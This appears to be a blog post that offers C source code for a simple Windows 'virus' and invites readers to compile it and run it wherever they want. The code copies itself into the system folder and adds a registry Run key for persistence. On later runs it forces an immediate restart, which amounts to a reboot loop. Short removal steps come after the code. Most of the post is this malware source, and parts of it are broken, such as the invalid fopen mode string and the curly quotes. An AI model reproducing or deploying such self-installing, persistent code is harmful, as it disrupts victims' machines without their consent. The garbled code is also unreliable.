Many people asked me how to create viruses etc stuff. Here is a simple virus/program which will restart your computer when opened. All you have to do is compile it and then run it where ever you want. Don’t worry if you run it accidentally on your system, I’ll also tell you how to remove this virus from your system completely.
Source Code:
#include<stdio.h>
#include<dos.h>
#include<dir.h> /If you get error, try using direct.h, if still you get error try compiling it in windows xp
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst("C:\\windows\\system\\sysres.exe",&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("D:\\windows\\system\\sysres.exe",&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("E:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("F:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen("C:\\windows\\system\\sysres.exe","welcome back"); //to place a copy of itself in a remote place
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\ sysres.exe"); //put this file to registry for starup
break;
case 2:
target=fopen("D:\\windows\\system\\sysres.exe","welcome back");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dD:\\windows\\system\\sysres.exe");
break;
case 3:
target=fopen("E:\\windows\\system\\sysres.exe","welcome back");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dE:\\windows\\system\\sysres.exe");
break;
case 4:
target=fopen("F:\\windows\\system\\sysres.exe","welcome back");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dF:\\windows\\system\\sysres.exe");
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system("shutdown -r -t 0"); //if the system is already infected then just give a command to restart
}
How to recover/remove the virus:
1) Open up PC in safe mode
2) C:\windows:\system … you will find it(sysres) so delete it !
3) open registry :
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
4) You will find it also delete it …
If anything else goes wrong, feel free to contact me
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